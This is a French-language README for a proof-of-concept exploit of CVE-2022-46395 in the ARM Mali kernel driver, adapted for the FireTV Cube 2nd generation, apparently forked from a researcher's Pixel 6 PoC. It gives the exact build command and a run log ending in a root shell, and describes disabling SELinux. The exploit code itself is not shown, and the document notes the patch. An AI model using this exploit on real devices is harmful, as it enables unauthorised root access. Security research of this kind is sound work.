
POC CVE-2022-46395 pour FireTV Cube 2e génération (raven)
Ceci est un fork du POC Pixel 6 du chercheur en sécurité Man Yue Mo Pixel 6 POC pour CVE-2022-46395. Lisez son analyse détaillée de la vulnérabilité ici. Des modifications ont été apportées pour tenir compte de l'espace utilisateur 32 bits de FireOS. Le POC exploite un bug dans le pilote du noyau ARM Mali afin d'obtenir une exécution de code arbitraire dans le noyau, qui est ensuite utilisée pour désactiver SELinux et obtenir les droits root.
L'exploit a été corrigé dans PS7652/3564 (fin août 2023). Pour référence, la commande suivante a été utilisée pour compiler avec clang dans ndk-21 :
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o raven_buf
Pour des résultats les plus rapides, exécutez-le juste après un redémarrage. En moyenne, le POC met 2 à 5 minutes pour obtenir les droits root.
raven:/ $ /data/local/tmp/raven_buf
Amazon/raven/raven:9/PS7646.3565N/0028085972224:user/amz-p,release-keys
benchmark_time 138
failed after 100
finished reset: 342278966 fault: 338143633 195 err 0 read 3
failed to find pgd, retry
finished reset: 731402639 fault: 724605931 208 err 0 read 3
failed to find pgd, retry
finished reset: 67309348 fault: 66434848 210 err 0 read 3
failed to find pgd, retry
failed after 200
failed after 300
benchmark_time 135
failed after 400
failed after 500
failed after 600
benchmark_time 131
failed after 700
finish reset: 797174916 fault: 788811083 352 err 0 read 3
found pgd at page 6
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001d0 1d0
overwrite addr : 1043001d0 1d0
result 50
raven:/ #